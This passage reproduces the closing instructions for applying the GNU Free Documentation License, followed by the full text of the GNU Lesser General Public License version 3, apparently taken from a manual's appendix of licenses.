Copyright (C) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with ... Texts." line with this:

with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.

If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

76.3 GNU Lesser General Public License

GNU LESSER GENERAL PUBLIC LICENSE

Version 3, 29 June 2007

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions.

As used herein, “this License” refers to version 3 of the GNU Lesser General Public License, and the “GNU GPL” refers to version 3 of the GNU General Public License.

“The Library” refers to a covered work governed by this License, other than an Application or a Combined Work as defined below.

An “Application” is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library.

A “Combined Work” is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the “Linked Version”.

The “Minimal Corresponding Source” for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version.

The “Corresponding Application Code” for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL.

You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions.

If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version:

* a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or * b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy.

3. Object Code Incorporating Material from Library Header Files.

The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following:

* a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. * b) Accompany the object code with a copy of the GNU GPL and this license document.

4. Combined Works.

You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following:

* a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. * b) Accompany the Combined Work with a copy of the GNU GPL and this license document. * c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. * d) Do one of the following: o 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. o 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user’s computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. * e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.)

5. Combined Libraries.

You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following:

* a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. * b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.

6. Revised Versions of the GNU Lesser General Public License.

The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation.

If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy’s public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.